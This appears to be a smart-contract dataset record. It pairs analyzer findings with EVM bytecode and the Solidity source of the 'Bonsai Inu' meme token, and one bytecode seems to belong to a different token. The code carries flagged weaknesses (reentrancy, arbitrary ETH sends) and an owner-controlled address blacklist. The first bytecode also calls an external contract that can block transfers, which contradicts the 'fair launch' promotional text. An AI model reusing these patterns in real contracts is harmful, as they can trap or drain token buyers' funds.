0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102925780639e752b95146102bf578063a9059cbb146102df578063dd62ed3e146102ff578063f42938901461034557600080fd5b806356d9dce81461022057806370a0823114610235578063715018a6146102555780638da5cb5b1461026a57600080fd5b8063293230b8116100d1578063293230b8146101c3578063313ce567146101da5780633e07ce5b146101f657806351bc3c851461020b57600080fd5b806306fdde031461010e578063095ea7b31461015057806318160ddd1461018057806323b872dd146101a357600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600781526652656920496e7560c81b60208201525b60405161014791906114f1565b60405180910390f35b34801561015c57600080fd5b5061017061016b36600461155b565b61035a565b6040519015158152602001610147565b34801561018c57600080fd5b50610195610371565b604051908152602001610147565b3480156101af57600080fd5b506101706101be366004611587565b610392565b3480156101cf57600080fd5b506101d86103fb565b005b3480156101e657600080fd5b5060405160068152602001610147565b34801561020257600080fd5b506101d8610773565b34801561021757600080fd5b506101d86107a9565b34801561022c57600080fd5b506101d86107d6565b34801561024157600080fd5b506101956102503660046115c8565b610857565b34801561026157600080fd5b506101d8610879565b34801561027657600080fd5b506000546040516001600160a01b039091168152602001610147565b34801561029e57600080fd5b5060408051808201909152600481526352494e5560e01b602082015261013a565b3480156102cb57600080fd5b506101d86102da3660046115e5565b61091d565b3480156102eb57600080fd5b506101706102fa36600461155b565b610946565b34801561030b57600080fd5b5061019561031a3660046115fe565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035157600080fd5b506101d8610953565b60006103673384846109bd565b5060015b92915050565b600061037f6006600a611731565b61038d906305f5e100611740565b905090565b600061039f848484610ae1565b6103f184336103ec856040518060600160405280602881526020016118be602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e1d565b6109bd565b5060019392505050565b6009546001600160a01b0316331461041257600080fd5b600c54600160a01b900460ff16156104715760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461049d9030906001600160a01b031661048f6006600a611731565b6103ec906305f5e100611740565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610514919061175f565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610576573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059a919061175f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060b919061175f565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061063b81610857565b6000806106506000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106b8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106dd919061177c565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561074c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077091906117aa565b50565b6009546001600160a01b0316331461078a57600080fd5b6107966006600a611731565b6107a4906305f5e100611740565b600a55565b6009546001600160a01b031633146107c057600080fd5b60006107cb30610857565b905061077081610e57565b6009546001600160a01b031633146107ed57600080fd5b600c54600160a01b900460ff166108465760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610468565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461036b90610fd1565b6000546001600160a01b031633146108d35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610468565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093457600080fd5b6009811061094157600080fd5b600855565b6000610367338484610ae1565b6009546001600160a01b0316331461096a57600080fd5b476107708161104e565b60006109b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061108c565b9392505050565b6001600160a01b038316610a1f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610468565b6001600160a01b038216610a805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610468565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b455760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610468565b6001600160a01b038216610ba75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610468565b60008111610c095760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610468565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c58573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7c91906117cc565b600c546001600160a01b038481169116148015610ca75750600b546001600160a01b03858116911614155b610cb2576000610cb4565b815b1115610cbf57600080fd5b6000546001600160a01b03848116911614801590610ceb57506000546001600160a01b03838116911614155b15610e0d57600c546001600160a01b038481169116148015610d1b5750600b546001600160a01b03838116911614155b8015610d4057506001600160a01b03821660009081526004602052604090205460ff16155b15610d9657600a548110610d965760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610468565b6000610da130610857565b600c54909150600160a81b900460ff16158015610dcc5750600c546001600160a01b03858116911614155b8015610de15750600c54600160b01b900460ff165b15610e0b57610def81610e57565b47670de0b6b3a7640000811115610e0957610e094761104e565b505b505b610e188383836110ba565b505050565b60008184841115610e415760405162461bcd60e51b815260040161046891906114f1565b506000610e4e84866117e5565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e9f57610e9f6117fc565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ef8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1c919061175f565b81600181518110610f2f57610f2f6117fc565b6001600160a01b039283166020918202929092010152600b54610f5591309116846109bd565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f8e908590600090869030904290600401611812565b600060405180830381600087803b158015610fa857600080fd5b505af1158015610fbc573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110385760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610468565b60006110426110c5565b90506109b68382610974565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611088573d6000803e3d6000fd5b5050565b600081836110ad5760405162461bcd60e51b815260040161046891906114f1565b506000610e4e8486611883565b610e188383836110e8565b60008060006110d26111df565b90925090506110e18282610974565b9250505090565b6000806000806000806110fa87611261565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061112c90876112be565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461115b9086611300565b6001600160a01b03891660009081526002602052604090205561117d8161135f565b61118784836113a9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111cc91815260200190565b60405180910390a3505050505050505050565b6005546000908190816111f46006600a611731565b611202906305f5e100611740565b905061122a6112136006600a611731565b611221906305f5e100611740565b60055490610974565b821015611258576005546112406006600a611731565b61124e906305f5e100611740565b9350935050509091565b90939092509050565b600080600080600080600080600061127e8a6007546008546113cd565b925092509250600061128e6110c5565b905060008060006112a18e878787611422565b919e509c509a509598509396509194505050505091939550919395565b60006109b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e1d565b60008061130d83856118a5565b9050838110156109b65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610468565b60006113696110c5565b905060006113778383611472565b306000908152600260205260409020549091506113949082611300565b30600090815260026020526040902055505050565b6005546113b690836112be565b6005556006546113c69082611300565b6006555050565b60008080806113e760646113e18989611472565b90610974565b905060006113fa60646113e18a89611472565b905060006114128261140c8b866112be565b906112be565b9992985090965090945050505050565b60008080806114318886611472565b9050600061143f8887611472565b9050600061144d8888611472565b9050600061145f8261140c86866112be565b939b939a50919850919650505050505050565b6000826114815750600061036b565b600061148d8385611740565b90508261149a8583611883565b146109b65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610468565b600060208083528351808285015260005b8181101561151e57858101830151858201604001528201611502565b81811115611530576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077057600080fd5b6000806040838503121561156e57600080fd5b823561157981611546565b946020939093013593505050565b60008060006060848603121561159c57600080fd5b83356115a781611546565b925060208401356115b781611546565b929592945050506040919091013590565b6000602082840312156115da57600080fd5b81356109b681611546565b6000602082840312156115f757600080fd5b5035919050565b6000806040838503121561161157600080fd5b823561161c81611546565b9150602083013561162c81611546565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168857816000190482111561166e5761166e611637565b8085161561167b57918102915b93841c9390800290611652565b509250929050565b60008261169f5750600161036b565b816116ac5750600061036b565b81600181146116c257600281146116cc576116e8565b600191505061036b565b60ff8411156116dd576116dd611637565b50506001821b61036b565b5060208310610133831016604e8410600b841016171561170b575081810a61036b565b611715838361164d565b806000190482111561172957611729611637565b029392505050565b60006109b660ff841683611690565b600081600019048311821515161561175a5761175a611637565b500290565b60006020828403121561177157600080fd5b81516109b681611546565b60008060006060848603121561179157600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117bc57600080fd5b815180151581146109b657600080fd5b6000602082840312156117de57600080fd5b5051919050565b6000828210156117f7576117f7611637565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118625784516001600160a01b03168352938301939183019160010161183d565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118a057634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118b8576118b8611637565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122012dfee4ae51ecb0171d40e5c767f607f7c8cbd64d203ae9448090ac3c37b6aca64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,608 |
0x43dd0338767f7c00471677f7d5b86a2daf7771ab
|
/**
*Submitted for verification at Etherscan.io on 2021-05-27
*/
/*
🚀 🐕
/)-_-(\ /)-_-(\
(o o) (o o)
.-----__/\o/ \o/\__-----.
/ __ / Bonsai Inu \ __ \
\__/\ / \_\ |/ \| /_/ \ /\__/
\\ || t.me/bonsaiinu || \\
// || || //
|\ |\ /| /|
,.,
MMMM_ ,..,
"_ "__"MMMMM ,...,,
,..., __." --" ,., _-"MMMMMMM
MMMMMM"___ "_._ MMM"_."" _ """"""
""""" "" , \_. "_. ."
,., _"__ \__./ ."
MMMMM_" "_ ./
'''' ( )
._______________.-'____"---._.
\ /
\________________________/
(_) (_)
From the makers of $DONSHIBA, we present to you... Bonsai Inu!
Bonsai Inu was raised in the Aokigahara jungle.
The fresh air coming from Mount Hotaka breezes through the jungle flora, and made sure all those who were raised here would be stronger then any of it's species.
Bonsai Inu dropped his past, since his superior bloodline was always involved in conflicts between different Inu tribes.
His interests for taking care of Bonsai trees increased over the year.
Holding Bonsai Inu will be rewarding because of the reflection & redistribution tokenomics.
As always, the developer will fund the starting liquidity, and after a burn there will be no wallets with any sort of tokens.
Fairest launch possible! Fake presale wallets and owner wallets are something Bonsai Inu doesn't want to see!
What Bonsai Inu offers you:
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. After a 15% burn, 85% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community. This is in my eyes, illegal!
4. A fast growing community that has a passion for ERC20 meme tokens!
5. Very nicely, from scratch made Bonsai Inu art, so those who take a glimps at him, will never forget it.
Token Information
1. 100,000,000,000 Total Supply
2. 15% Burned
3. Developer provides LP
4. Buy limit/cool down
5. Fair launch for everyone!
6. 5% redistribution to holders
7. 10% developer fee split within the team
Join our telegram: t.me/bonsaiinu
Good luck on launch!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BONINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Bonsai Inu\xf0\x9f\x8d\x83\xf0\x9f\x90\x95\xf0\x9f\x8c\xb1\xf0\x9f\x8d\x83";
string private constant _symbol = 'BONINU';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610306578063c3c8cd8014610326578063c9567bf91461033b578063d543dbeb14610350578063dd62ed3e1461037057600080fd5b8063715018a61461027a5780638da5cb5b1461028f57806395d89b41146102b7578063a9059cbb146102e657600080fd5b8063273123b7116100dc578063273123b7146101e7578063313ce567146102095780635932ead1146102255780636fc3eaec1461024557806370a082311461025a57600080fd5b806306fdde0314610119578063095ea7b31461017157806318160ddd146101a157806323b872dd146101c757600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152601a81527f426f6e73616920496e75f09f8d83f09f9095f09f8cb1f09f8d8300000000000060208201525b6040516101689190611a11565b60405180910390f35b34801561017d57600080fd5b5061019161018c3660046118a2565b6103b6565b6040519015158152602001610168565b3480156101ad57600080fd5b50683635c9adc5dea000005b604051908152602001610168565b3480156101d357600080fd5b506101916101e2366004611862565b6103cd565b3480156101f357600080fd5b506102076102023660046117f2565b610436565b005b34801561021557600080fd5b5060405160098152602001610168565b34801561023157600080fd5b50610207610240366004611994565b61048a565b34801561025157600080fd5b506102076104d2565b34801561026657600080fd5b506101b96102753660046117f2565b6104ff565b34801561028657600080fd5b50610207610521565b34801561029b57600080fd5b506000546040516001600160a01b039091168152602001610168565b3480156102c357600080fd5b50604080518082019091526006815265424f4e494e5560d01b602082015261015b565b3480156102f257600080fd5b506101916103013660046118a2565b610595565b34801561031257600080fd5b506102076103213660046118cd565b6105a2565b34801561033257600080fd5b50610207610646565b34801561034757600080fd5b5061020761067c565b34801561035c57600080fd5b5061020761036b3660046119cc565b610a3f565b34801561037c57600080fd5b506101b961038b36600461182a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c3338484610b12565b5060015b92915050565b60006103da848484610c36565b61042c843361042785604051806060016040528060288152602001611be2602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611048565b610b12565b5060019392505050565b6000546001600160a01b031633146104695760405162461bcd60e51b815260040161046090611a64565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104b45760405162461bcd60e51b815260040161046090611a64565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104f257600080fd5b476104fc81611082565b50565b6001600160a01b0381166000908152600260205260408120546103c790611107565b6000546001600160a01b0316331461054b5760405162461bcd60e51b815260040161046090611a64565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103c3338484610c36565b6000546001600160a01b031633146105cc5760405162461bcd60e51b815260040161046090611a64565b60005b8151811015610642576001600660008484815181106105fe57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063a81611b77565b9150506105cf565b5050565b600e546001600160a01b0316336001600160a01b03161461066657600080fd5b6000610671306104ff565b90506104fc8161118b565b6000546001600160a01b031633146106a65760405162461bcd60e51b815260040161046090611a64565b601154600160a01b900460ff16156107005760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610460565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073d3082683635c9adc5dea00000610b12565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077657600080fd5b505afa15801561078a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ae919061180e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f657600080fd5b505afa15801561080a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082e919061180e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561087657600080fd5b505af115801561088a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ae919061180e565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306108de816104ff565b6000806108f36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561095657600080fd5b505af115801561096a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098f91906119e4565b505060118054673afb087b8769000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a0757600080fd5b505af1158015610a1b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064291906119b0565b6000546001600160a01b03163314610a695760405162461bcd60e51b815260040161046090611a64565b60008111610ab95760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610460565b610ad76064610ad1683635c9adc5dea0000084611330565b906113af565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610460565b6001600160a01b038216610bd55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610460565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c9a5760405162461bcd60e51b8152602060048201526025